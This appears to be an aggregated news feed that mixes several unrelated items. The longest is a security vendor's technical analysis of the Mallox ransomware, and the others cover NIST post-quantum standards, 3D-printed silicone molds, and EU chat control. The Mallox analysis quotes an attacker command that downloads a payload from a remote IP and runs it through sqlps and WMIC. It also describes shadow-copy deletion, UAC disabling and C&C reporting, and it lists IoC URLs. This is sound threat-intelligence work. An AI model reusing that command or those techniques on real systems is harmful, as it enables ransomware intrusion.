After EU's top court issued a ruling seemingly limiting the Commission's authority to halt "killer acquisitions," influential think tank Bruegel argued on Wednesday (4 September) that EU's competition regulator should have a stronger regulatory strategy reviewing these.

euractiv.com/section/competiti…

Il National Institute of Standards and Technology (NIST) del Dipartimento del Commercio degli Stati Uniti ha finalizzato il suo set principale di algoritmi di crittografia progettati per resistere agli attacchi informatici da parte di un computer quantistico.

I ricercatori di tutto il mondo stanno correndo per costruire computer quantistici che funzionerebbero in modi radicalmente diversi dai normali computer e potrebbero violare l’attuale crittografia che fornisce sicurezza e privacy per quasi tutto ciò che facciamo online.

Per difendersi da questa vulnerabilità, gli algoritmi recentemente annunciati sono specificati nei primi standard completati dal progetto di standardizzazione della crittografia post-quantistica (PQC) del NIST e sono pronti per l’uso immediato. Questi standard di crittografia post-quantistica proteggono un’ampia gamma di informazioni elettroniche, dai messaggi di posta elettronica riservati alle transazioni di e-commerce che spingono l’economia moderna. Il NIST incoraggia gli amministratori di sistemi informatici a iniziare la transizione ai nuovi standard il prima possibile.

La crittografia post-quantistica (PQC) comprende sistemi crittografici progettati per proteggere le informazioni sensibili dalle potenziali minacce poste dal calcolo quantistico. Man mano che i computer quantistici sviluppano la capacità di eseguire calcoli complessi a velocità senza precedenti, i metodi di crittografia esistenti, in particolare quelli basati su algoritmi asimmetrici come RSA ed Elliptic Curve Cryptography (ECC), affrontano vulnerabilità significative. In particolare, algoritmi come l’algoritmo di Shor possono fattorizzare in modo efficiente numeri interi grandi, rendendo i sistemi crittografici tradizionali suscettibili alle violazioni, accendendo così un’urgenza globale per soluzioni robuste e resistenti ai quanti.

Leggi l’annuncio completo del NIST: nist.gov/news-events/news/2024…
Per saperne di più su PQC, leggi questa spiegazione: nist.gov/cybersecurity/what-po…

La transizione alla crittografia post-quantistica è fondamentale per la salvaguardia delle comunicazioni digitali in vari settori, in particolare nella finanza e nella sicurezza nazionale, dove l’integrità e la riservatezza dei dati sono fondamentali. Il National Institute of Standards and Technology (NIST) sta guidando la definizione di nuovi standard per PQC. Questa iniziativa sottolinea la necessità per i settori pubblico e privato di adottare proattivamente misure di crittografia resistenti ai quanti per affrontare in modo preventivo le imminenti minacce quantistiche che potrebbero compromettere i quadri di sicurezza consolidati .

Con l’evoluzione della tecnologia di calcolo quantistico, devono evolversi anche le strategie per la sicurezza dei dati.

La collaborazione tra enti governativi, esperti del settore e istituzioni accademiche è essenziale per facilitare la rapida integrazione delle soluzioni PQC e per promuovere lo sviluppo di standard crittografici resilienti in grado di resistere al panorama delle minacce quantistiche

L'articolo La Criptografia Post-Quantistica è Arrivata! Scopri i Nuovi Standard NIST per Proteggere il Futuro Digitale proviene da il blog della sicurezza informatica.

While it’s the ideal choice for mass production, injection molding is simply no good for prototyping. The molds are expensive and time-consuming make, so unless you’ve got the funding to burn tens of thousands of dollars on producing new ones each time you make a tweak to your design, they’re the kind of thing you don’t want to have made until you’re absolutely sure everything is dialed in and ready. So how do you get to that point without breaking the bank?

That’s not always an easy question, but if you’re working with silicone parts, the team at OpenAeros thinks they might have a solution for you. As demonstrated through their OpenRespirator project, the team has developed a method of 3D printing single-use molds suitable for large silicone parts that they’re calling Digital-to-Silicone (D2S).

In the video below, [Aaron] and [Jon] explain that they started off by simply printing injection molds in the traditional style. This worked, but the molds can get quite complex, and the time and effort necessary to design and print them wasn’t a great fit for their iterative development cycle. They wanted to be able to do from design to prototype in a day, not a week.

Eventually they realized that if they printed the mold out of a water-soluble filament, they could simplify its design greatly. They’ve documented the design process in detail, but the short version is that you essentially subtract the 3D model of the design you want to produce from a solid shape in your CAD package, and add a few holes for injecting the silicone. Once the silicone has cured, the mold can be dissolved away in warm water to reveal the finished part.

They then took this concept a step further. Thanks to the multi-material capabilities offered by some of the latest 3D printers, it’s possible to print structures within the mold. Once the silicone is injected, these structures can become part of the finished part. For the OpenRespirator, this lets them add PETG stiffening rings around where the filters to snap into the silicone mask body.

As an added bonus, the video also goes over their method of prototyping pleated filters with 3D printed forms. After inserting the filter media, snap-in arms push it down into the valleys of the form to create the pleats. These are held in place with the addition of small metal rods that are attracted to the magnets embedded into the form. Once the top and bottom of the form have been closed over the filter, silicone is injected to create a ring around the filter and lock everything into place.

We often think of 3D printing as ideal for prototyping, but usually in a very direct and obvious way. You print out a part to see if it works the way you want, and then take the design and have it made out of something stronger. But this presentation from OpenAeros shows just how versatile the technology can be. With even a half-way decent desktop printer, the potential time and cost savings can be enormous. Something to keep in mind should one of your side projects turn into something bigger.

youtube.com/embed/2BCotdFDuuc?…

hackaday.com/2024/09/04/multi-…

Mallox is a sophisticated and dangerous family of malicious software that has been causing significant damage to organizations worldwide. In 2023, this ransomware strain demonstrated an uptick in attacks, the overall number of discovered Mallox samples exceeding 700. In the first half of 2024, the malware was still being actively developed, with new versions being released several times a month, while the Mallox RaaS affiliate program advertised on dark web forums was seeking new partners. This article aims to provide a comprehensive technical overview of the ransomware and its history.

Background

Mallox started operating in the first half of 2021, with the first known encryptor sample discovered in May 2021. From the very beginning, this malware was used in human-operated attacks against companies and organizations. The Trojan samples were tailored to each specific victim, with the name of the target company hardcoded in the ransom notes and the extension of the encrypted files. This is why this malware strain is known under many different aliases: the Trojan was not originally named “Mallox”, and each researcher introduced their own moniker for this malware.

In order to illustrate the different names used by Mallox variants throughout the family’s existence, we parsed more than 700 samples and built a table showing the numerous extensions we found in those.

In early 2023, SuspectFile published an interview with individuals who claimed to be the threat actors behind Mallox. In the interview, the actor stated that they purchased the source code for the encryption Trojan in 2022. That might mean that it was previously operated by another group, which would explain the change in the naming pattern: from a unique name for each victim to the “Mallox” universal branding.

Most articles and blog posts refer to this strain as Mallox, Tohnichi, Fargo or TargetCompany.

Timeline

Judging by the PE timestamps in the discovered samples, which proved to be unaltered and represent the actual release date of the given sample, there were several spikes in new samples: late 2022, early 2023 and late 2023.

Discovered Mallox samples by PE timestamp (download)

The number of ITW Mallox samples strongly correlates with Kaspersky Security Network (KSN) telemetry. KSN is our cyberthreat-related data processing system, which works with data consensually provided by Kaspersky users. The graph below shows spikes in unique users who encountered the Mallox ransomware in March 2023 and October 2023, which match the previous graph and indicate increased activity by the group during these periods.

Mallox ransomware activity (download)

RaaS promotion

A January 2023 post on the dark web forum RAMP by a user named Mallox promoted a ransomware-as-a-service affiliate program with the same name.

The original ad for Mallox RaaS

The translation of the post is given below.

The ad states that the RaaS owners are looking for “pentesters”, i.e. affiliates willing to search for and infiltrate companies. Priority is given to those affiliates that have already obtained unauthorized access to a lot of organizations and/or large networks. Such partners are offered 80% of the profits, while those without a substantial number of readily available victim networks are invited to work for 70% of the ransom.

The poster emphasizes that they are looking only for long-term relationships with experienced affiliates. They are not interested in wasting their time on novice cybercriminals and do not provide any training. The RaaS representative also stresses that they do not work with English-speaking affiliates.

Another RAMP post by the same user in September 2023 said the group was willing to purchase access credentials to victim networks, most likely to launch ransomware attacks on their own.

This post sheds further light on the Mallox RaaS creators’ business model. They look for wealthy victim companies with revenue of $10 million or more in any of the five listed countries. They also aim to avoid attacking educational, governmental and healthcare organizations.

Statistics on the RaaS affiliates

By analyzing Mallox samples, we were able to determine that starting in 2022, the developers added C&C reporting to their malware. This sends information about each infected computer, but more interestingly, it also appends an affiliate ID string to the Trojan’s HTTP request. We extracted these affiliate IDs from the samples we had obtained and built a data model, which allowed us to investigate the distribution of samples across partners throughout the evolution of the RaaS program.

We also analyzed the changes in the distribution of samples across the most active affiliates by year. These changes indicate that after the launch of the RaaS program, it rapidly expanded to reach 16 active affiliates operating 500 samples, and then shrank in the first half of 2024. At the time of writing this post, we observed a total of 19 Mallox RaaS partners.

Also notable is the fact that the original five affiliates that were working with Mallox in 2022 continue to do so in 2024. This might indicate that the core subscribers seem to be satisfied with the program’s terms and prefer it to other options available on the darknet market.

Please note that at the time of writing this report, the data for 2024 was limited to H1.

Mallox samples by affiliate ID

Typical infection scenario

Mallox affiliates are free to choose their methods of compromising victims’ networks. Some of the campaigns we observed involved sending spam with malicious attachments. In another recent campaign in China, the threat actors allegedly exploited a vulnerability in the IP-Guard software for initial access.

While analyzing KSN telemetry, we determined that one of the most common infection vectors used by the attackers was penetrating internet-facing MS SQL or PostgreSQL servers. To achieve this, the threat actors typically either exploit RCE vulnerabilities, such as CVE-2019-1068 or CVE-2020-0618 in unpatched MS SQL server installations, or carry out brute-force or dictionary attacks.

Typical Mallox attack pattern

The compromised MS SQL server process executes a command that creates a PowerShell script and launches it using the sqlps command, then starts the first stage portable executable (PE) payload downloaded by the PowerShell script.
cmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]//<ip address>/scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat""
This first-stage PE payload in Mallox attacks is typically either a sample of the Remcos RAT subsequently used by the operators for remote access to the compromised network, or a .NET downloader that automatically fetches the second-stage PE payload, which is the encryption Trojan. The .NET downloaders used in this scheme are mostly simplistic and implement a procedure to download a binary from the hardcoded URL, decrypt it with a XOR loop and execute it in memory.

Analysis

Several hundred different samples have been found since the first version of Mallox was discovered. Mallox developers have continued to improve the ransomware and add new features. For convenience, we divided these samples into several different versions. Below, we will perform a detailed analysis of the first and the latest known versions. Moreover, we will provide a comparison table with other known versions to show how the Trojan has evolved, what features have been added and how the cryptographic scheme has changed.

Earliest known Mallox version (9b772efb921de8f172f21125dd0e0ff7, v1)

This sample was discovered in mid-May 2021 and is the first discovered executable file belonging to the Mallox ransomware family. It is considered to be the original Mallox version. We have found several samples of this version with various extensions and notes that contain explicit names of the victim organizations. This is one of the few variants of Mallox that support debug logging, which outputs errors and other information about the encryption process to the console. In later versions, the logging functionality was removed or excluded from the release build.

The ransom note left behind by the original Mallox version looks typical of ransomware: it contains a unique victim identifier, conditions for file decryption, a threat to publish stolen data and the address of the negotiators’ website on the Tor network. To demonstrate their ability to decrypt files, the attackers offer to decrypt several test files that do not contain important data. In this version, the victim organization’s name is explicitly indicated inside the note.

Mallox ransom note from the original version

Preparing for encryption

Before encrypting files on the device, the ransomware performs several preparatory steps. First, it checks the language settings of the victim’s operating system. The ransomware immediately terminates if a Russian, Kazakh, Tatar, Belarusian or Ukrainian language identifier is set. Developers of malware typically do this if they hope to avoid prosecution in the countries where the languages are spoken. However, in the interview published in January 2023, a Mallox representative said of these restrictions, “This is due to the developer’s own decision to restrict our operations in those regions. We have no prejudices or preferences in which countries to work”. In the same interview, they claim that the project’s code previously had been used by other ransomware groups and subsequently purchased by the current threat actors. This means that early samples may not be linked to the current owners of Mallox, or that several independent groups may be using these.

Mallox main function

If the default language of the operating system is not on the exclusion list, the ransomware process obtains the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges. Next, it removes the keys and values from the registry using the WinAPI function SHDeleteKeyW, apparently to counter system defenses.

After that, Mallox deletes the shadow copies using the vssadmin.exe utility and completely disables Windows Recovery Environment.

Drives enumeration and exclusions

Mallox encrypts data on all drives from A through Z if these have the following types: DRIVE_REMOTE, DRIVE_REMOVABLE or DRIVE_FIXED. It also supports text files containing paths for encryption via the command-line arguments, such as “-p” and “-d”. If the argument “-d <text_file_path>” is set, the ransomware encrypts only the paths in the text file and does not encrypt the device’s drives recursively. If the argument “-p <text_file_path>” is set, it first encrypts the paths in the text file and only then, the data on local drives. The full list of file path arguments accepted by the original version of Mallox is provided below.

To calculate the count of threads that will be used to encrypt files, Mallox uses the WinAPI function GetSystemInfo. It gets the dwNumberOfProcessors value from this function and doubles it. However, the count of threads is limited to 64 and cannot exceed this value.

Mallox supports allowlist functionality. Lists of extensions, folder names and file names which must not be encrypted are embedded into the ransomware. The folder names include the names of the operating system folders and certain widely known applications. One of the interesting names among the exception files is “debugLog.txt”, which is presumably used for debugging purposes.

Below is pseudocode for iterating through drives, which is done if the “-d” argument is not set. The code shows that Mallox can use two different directory and file iterating methods: manual NTFS parsing and File Management Functions (WinAPI).

Drive search code for encryption

Cryptography

Mallox implements a convoluted encryption scheme consisting of several cryptographic algorithms.

Every time Mallox starts, it generates a new user private ECC (elliptic curve) key to be used with ECDH (Elliptic-curve Diffie–Hellman key agreement protocol on the Curve25519). To generate this private key, the ransomware uses the pseudorandom number generator Mersenne Twister, the seed for which is generated using the WinAPI function CryptGenRandom. If there are problems with initializing the Cryptographic Service Provider (CryptGenRandom cannot be used), then the seed is generated via a set of functions: QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, and the __rdtsc instruction. The outputs of these functions are multiplied and used as a Mersenne Twister seed.

Mersenne Twister seed generation

The generated ECC private key is 32 bytes in size. From this private key, the Trojan generates a corresponding user ECC public key. The Trojan then calculates a shared secret using the Elliptic-curve Diffie–Hellman key agreement protocol (ECDH) from the user ECC private key and the attacker’s master ECC public key that is hardcoded in the Trojan’s body. The user ECC private key is not stored anywhere, and the user ECC public key is added to each encrypted file and is necessary for attackers to recalculate the shared secret.

In the picture below, the first call to the curve25519 function generates a user public key, and the next call generates a shared key, which is then hashed with SHA-256.

Code for generating a shared secret

The first six bytes of the user ECC public key in hexadecimal form are used as the unique identifier of the victim, referred to as “personal identifier” in the note. It is generated uniquely each time the ransomware starts and does not depend on the device, so the identifier will change with each new run.

Files that are not on the allowlists are encrypted with the ChaCha20 stream cipher. The file key and nonce for ChaCha are encrypted using the symmetric encryption algorithm AES-128 in CTR mode. The key for AES is the first half of the SHA-256 hash of the shared secret obtained previously by using the ECDH protocol.

Files smaller than or equal to 10240 bytes are encrypted in their entirety. Larger files are encrypted using a stripe method: the file is broken down into 100 pieces, each further divided into 100 chunks. Each of the resulting chunks is encrypted with ChaCha. If the chunk size is less than 4096 bytes, the malware expands its size to 4096 bytes prior to encryption.

At the end of each encrypted file, Mallox appends a structure we will designate as a “technical buffer”, which stores the information necessary to decrypt the file. The Mallox sample in question has a minimalistic buffer that contains only an encrypted key and nonce for ChaCha, IV for AES, and the user’s ECC public key. The latter is intended to be used by attackers to recover the shared secret and calculate its SHA-256 hash, the first half of which is the encryption key for AES-128 CTR, and, along with IV, is necessary to decrypt the ChaCha key and nonce.

In the picture below, the ChaCha key and nonce are shown in red, AES CTR in blue, and the public user ECC key in orange.

“Technical buffer” structure saved at the end of the file

After the encryption is complete, the executable file is deleted via the “del” command.

Communication with the attackers’ C&C server

Before starting the file encryption process starts, Mallox sends the following information about the infected device to the attacker’s server using an HTTP POST request: the victim’s unique identifier obtained from the public key, the local computer name and the DNS name of the primary domain determined via a call to LsaQueryInformationPolicy with the PolicyDnsDomainInformation parameter.

Code to send an HTTP request

After the encryption is completed, the ransomware sends a request to the attacker’s server again, with the victim’s ID and information about the encrypted disks.

Recent Mallox version (e98b3a8d2179e0bd0bebba42735d11b7, v12)

This is one of the most recent versions of the Mallox ransomware, found in March 2024. Below, we provide an analysis of this version, but the main purpose of the analysis is to show the difference between the first and the recent versions.

Compared to the original version of Mallox, one of the significant changes that occurred in later versions concerned the format of the note. The original version explicitly showed the name of the attacked company and device, but later versions more often had a generic note and extensions.

Generic ransom note

New arguments

Two new arguments have been added compared to the first version, but none of the new or old arguments work in this variant. Any arguments passed via the command line are in fact checked for existence through the PathFileExistsW function, so the ransomware apparently only accepts file paths as arguments: “mallox.exe <path1> <path2>…. <pathN>”.

Any arguments that are not paths, including “-p”, “-d”, “-l”, “-path”, “-queue”, result in an error. If the correct paths are passed, the ransomware checks whether it is running with administrative privileges and, if so, it encrypts the files at these paths. If running without administrator permissions, it attempts to elevate its privileges by restarting using ShellExecuteW with the verb runas, used to run the application as the administrator.

Preparing for encryption

Mallox sets the computer’s power scheme to High Performance, obviously in order to increase the performance and speed of the encryption process.

Pseudocode to change the power scheme

In this version, the Trojan contains a new function for terminating active processes via the TerminateProcess WinAPI function so as to keep them from blocking user files or interfering with the encryption process. The list of terminable process names refers mainly to databases, such as SQL Server, Oracle Database, Pervasive PSQL and MySQL.

Another new feature concerns services: the Trojan uses the Service Control Manager to disable and stop services using the ChangeServiceConfig and ControlService functions.

If the user tries to shut down or restart the operating system, Mallox attempts to prevent this. Using the ShutdownBlockReasonCreate function, the ransomware makes the OS display a threatening message about the possibility of file damage unless the user aborts the shutdown or reboot.

Threat message about file damage

Before starting encryption, the Trojan modifies the registry keys of the HKEY_LOCAL_MACHINE hive to disable UAC and hide the Shut Down, Restart and Sign Out buttons.

Cryptography

The key generation scheme in the recent version shows significant changes. Presumably, the algorithm was altered by the Mallox developers in an attempt to fix vulnerabilities that allowed decrypting victims’ files without the attackers’ private key in earlier versions of the malware.

In this latest version, three values embedded in the code are used to generate a shared secret: two public ECC master keys (master_public_key_1, master_public_key_2) generated on the attacker’s side and a hardcoded 12-byte array. The resulting new scheme is presented below:

• When the Trojan starts, it generates 56 random bytes via CTR_DRBG.
• Twelve bytes in the middle of this 56-byte array are replaced with the hardcoded bytes.
• The resulting 56 bytes are hashed with SHA-256.
• Using ECDH (curve25519) with the result of hashing and master_public_key_1, the Trojan generates a user_private_key.
• Using ECDH (curve25519) with the user_secret_key and the elliptic curve base point, the Trojan generates a user_public_key.
• Finally, again, using ECDH (curve25519) with user_secret_key and master_public_key_2, the Trojan generates a share_key shared secret.
• Later, this share_key is hashed with SHA-256.

Below is a simplified diagram of this.

Key generation scheme in the most recent Mallox version

The file encryption algorithm has also changed: now files are encrypted using AES-256 in GCM mode. File keys are generated with ISAAC PRNG, seeded by the output of the BCryptGenRandom API function combined with Mersenne Twister PRNG. The file keys, as before, are encrypted using AES-128 in CTR mode, and the key for that is still the first half of the SHA-256 hashed share_key.

The technical buffer added at the end of each encrypted file has been expanded. Its beginning and end are indicated by the markers 0x02010201 and 0x04030403, shown in green in the image below. In this version, the ransomware encrypts the first 60% of the file — the total number of encrypted file chunks is shown in pink. Compared to the original version, the chunks have a size of 0x800000 bytes, are located next to each other and are encrypted entirely without further division. Purple stands for the size of the original file, red for the encrypted file key and IV for AES-256-GCM. The blue part is IV for AES-128-CTR, which is used to encrypt file keys. The orange part is the user_public_key.

“Technical buffer” structure saved at the end of the file in the latest Mallox version

Communication with the attackers’ C&C server

First, the ransomware gets the external IP address of the encrypted device via a third-party public service. Then it collects information about the user, device, network, disks and files and sends it to the attacker’s C&C server with an HTTP POST request.

Data sent to the attacker’s C&C

If all data is received and processed successfully, the server responds with “Successfully_added”.

Server response

Timeline of Mallox versions

We have been tracking a large number of samples since the very first version of Mallox appeared in 2021. During this time, more than 700 different samples have been found, which we have divided into 12 versions for convenience. This division is based on changes in ransomware functionality or cryptography. Please note that the Trojan samples do not contain any version numbers internally. In the tables below, we provide a brief description of changes introduced in each Mallox version along with the MD5 of one of the samples belonging to this version.

Starting with versions 5 and 6, all the subsequent versions through 11 were divided into two key generation schemes: “generated key” (gen) and “embedded key” (emb). These versions were used in parallel, and if some changes were made to one of these variants, then the other variant with the same changes would soon appear, sometimes on the same day. Later in this report, we will describe both methods in detail.

There is one version that stands out from this classification. We dubbed it 1F. The only two samples belonging to this version were discovered in June 2023 and February 2024. Despite the discovery dates, they are almost exactly the same as the first version, but with a fixed vulnerability in the cryptographic scheme. What is curious, this fix differs from the convoluted encryption schemes seen in versions 3, 4 and 12. Instead, it is a small local fix using the cryptographically secure SystemFunction036 (RtlGenRandom) function for seed generation.

Cryptographic scheme in v5 and above: the “generated key” variant

This scheme uses data from the device to populate an array with a maximum size of 56 bytes, from which a user ECC private key is obtained. The array is generated based on the functions GetVolumeInformationW, GetFileTime, GetComputerNameA, and the CPUID instruction.

The rest of the scheme contains three curve25519 calls, similar to the recent version (12), but unlike that, the scheme described in this paragraph is not cryptographically secure.

Shared key generation, “generated key”, v5+

Cryptographic scheme in v6 and above: the “embedded key” variant

In this case, no random value generation is used to calculate the shared secret share_key. The user_private_key is hardcoded in the Trojan’s body, and the rest of the scheme has not changed compared to the first version. This is also a cryptographically non-secure scheme.

Shared key generation, “embedded key”, v5+

Negotiation portal and DLS (data leak site)

When encrypting a victim’s files Mallox creates a ransom note commonly named “HOW TO BACK FILES.txt”, “HOW TO RESTORE FILES.txt”, “RECOVERY INFORMATION.txt”, “FILE RECOVERY.txt” or some such. In the note, the threat actors instruct the victim about the ways to communicate with the attackers to negotiate the ransom payment: by visiting a specified TOR site (negotiation portal) and logging in with the victim ID, or by sending an email message to a specified address.

Upon authenticating with the negotiation portal, the victim is presented with a page containing information about their infection case:

• Status: whether the exfiltrated data has been published
• Ransom price in USD and BTC
• Payment addresses for BTC and TETHER TRC-20
• Answers to frequently asked questions
• Chat widget to talk to the ransomware operator

Negotiation portal (victim page)

The main page of the Mallox data leak site, which resides on the same domain as the negotiation portal, contains the list of victim companies. Countdown timers indicate the remaining time until the stolen data from each company is published in case the victim fails to pay up.

Mallox data leak site: the home page

The information about the companies that apparently refused to cooperate is provided on a new page when the user clicks “View”. This page lists some details, such as the victim’s approximate revenue, the total volume of stolen data, links to download archives allegedly containing some or all of the exfiltrated files, and the password to unpack the archives.

Page with victim company details

For additional publicity and promotion of their affiliate program, the Mallox threat actors maintain an X account that posts regular updates about the group’s new victims and shares links to download new portions of stolen data.

Mallox profile on X

Victims

The geographical distribution of unique KSN users who encountered the Mallox ransomware shows that the affiliates of the RaaS do not restrict their activities to a specific country and apparently aim to attack vulnerable companies anywhere these are located. That being said, some regions tend to be a more desirable target for Mallox extortionists. The countries that have attracted the most infection attempts are Brazil, Vietnam and China.

Geographical chart of Mallox attack attempts (download)

Conclusions

Our report provides a comprehensive overview of the Mallox ransomware, its characteristics, the history of its evolution, and the potential impact it can have on victims. By understanding the nature of Mallox ransomware and implementing appropriate security measures, companies and organizations can better safeguard their digital assets and minimize the risk of falling victim to this malicious software.

Our recommendations for maximizing your organization’s security:

• Do not expose remote desktop services, such as RDP, to public networks unless absolutely necessary, and always use strong passwords.
• Make sure commercial VPN solutions and other server-side software are always up to date as exploitation of this type of software is a common ransomware infection vector. Always keep client-side applications up to date.
• Focus your defense strategy on detecting lateral movements and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections. Back up data regularly. Make sure you can quickly access it in an emergency. Use the latest Threat Intelligence information to stay up to date on the latest TTPs used by threat actors.
• Use Managed Detection and Response services to help identify and stop an attack in the early stages, before the attackers achieve their ultimate goals.
• To protect the corporate environment, educate your employees. Dedicated training courses can help, such as those provided in the Kaspersky Automated Security Awareness Platform.
• Use complex security solutions, combining endpoint protection and automated incident response features, such as Kaspersky NEXT.

IoC

MD5

9b772efb921de8f172f21125dd0e0ff7

79b60f8b5052a9d4cc0c92c2cdc47485

e713f05a62914496eef512a93a611622

3829a09bca120206883539eb33d55311

a8e214683307adaff39783dc656b398a

ac1a255e5c908f12ef68a45fc0043b16

b1b42fa300d8f43c6deb98754caf0934

3762f98a55f0ec19702f388fc0db74e2

6bd93817967cdb61e0d7951382390fa0

c494342b6c84f649dece4df2d3ff1031

16e708876c32ff56593ba00931e0fb67

d32a3478aad766be96f0cdbda1f10091

e98b3a8d2179e0bd0bebba42735d11b7

98c7f6b6ddf6a01adb25457e9a3c52b8

b13a1e9c7ef5a51f64a58bae9b508e62

URLs

91.215.85.142%2FQWEwqdsvsf%2Fap.php

whyers.io%2FQWEwqdsvsf%2Fap.php

securelist.com/mallox-ransomwa…

!Programmer Humor
Hi, this is a question that popped into my mind when i saw an article about some AWS engineer talking about ai assistants taking over the job of programmers, this reminded me that it's not the first time that something like this was said.

My software engineering teacher once told me that a few years ago people believed graphical tools like enterprise architect would make it so that a single engineer could just draw a pretty UML diagram and generate 90% of the project without touching any code,
And further back COBOL was supposed to replace programmers by letting accountants write their own programs.

Now i'm curious, were there many other technologies that were supposedly going to replace programmers that you remember?

i hope someone that's been around much more than me knows something more or has some funny stories to share

As early as tomorrow morning, a majority of EU governments could endorse the controversial draft law on chat control, which had been removed from the agenda in June after massive protests. According to a report by the news service Contexte, the new Hungarian Council Presidency intends to achieve a majority with a small twist, namely removing the searching for unknown material using „artificial intelligence“ (as requested by the Netherlands). The exact details of the Hungarian proposal are kept secret. But the proposal is still to require bulk automated searches in and disclosure of private chats, including end-to-end encrypted chats, that might contain illegal photos or videos. If a user opt out of this “upload moderation” of their chats, they would be blocked from receiving or sending any images, videos and URLs. Signal and Threema have announced they would end their services in the EU if forced to implement the proposed automated monitoring (so-called “client-side scanning”).

Former Pirate Party Member of the European Parliament Patrick Breyer is now calling on EU citizens to turn to their governments: “In June, under massive public pressure, there was a fragile blocking minority to save our digital privacy of correspondence and secure encryption. But now, with no spotlight on government dealings, minimal concessions could tip the scales. Europeans need to understand that they will be cut off from using commonplace secure messengers if chat control is adopted – that means losing touch with your friends and colleagues around the world. Do you really want Europe to become the world leader in bugging our smartphones and requiring blanket surveillance of the chats of millions of law-abiding Europeans?“

Breyer describes the proposal to restrict chat controls to supposedly ‘known’ illegal content as window-dressing: “Regardless of the objective – imagine the postal service simply opened and snooped through every letter without suspicion. It’s inconceivable. Besides, it is precisely the current bulk screening for supposedly known content by Big Tech that exposes thousands of entirely legal private chats, overburdens law enforcement and mass criminalises minors.

The European Parliament is convinced that this Orwellian approach will betray children and victims by inevitably failing in court. It calls for truly effective child protection by mandating security by design, proactive crawling to clean the web and removal of illegal content – none of which is contained in the government proposal on the table now. We have one day to make our governments take a different approach of effective and rights-respecting protection while saving our privacy and security online!”

Breyer’s info portal on chat control: chatcontrol.eu

patrick-breyer.de/en/chat-cont…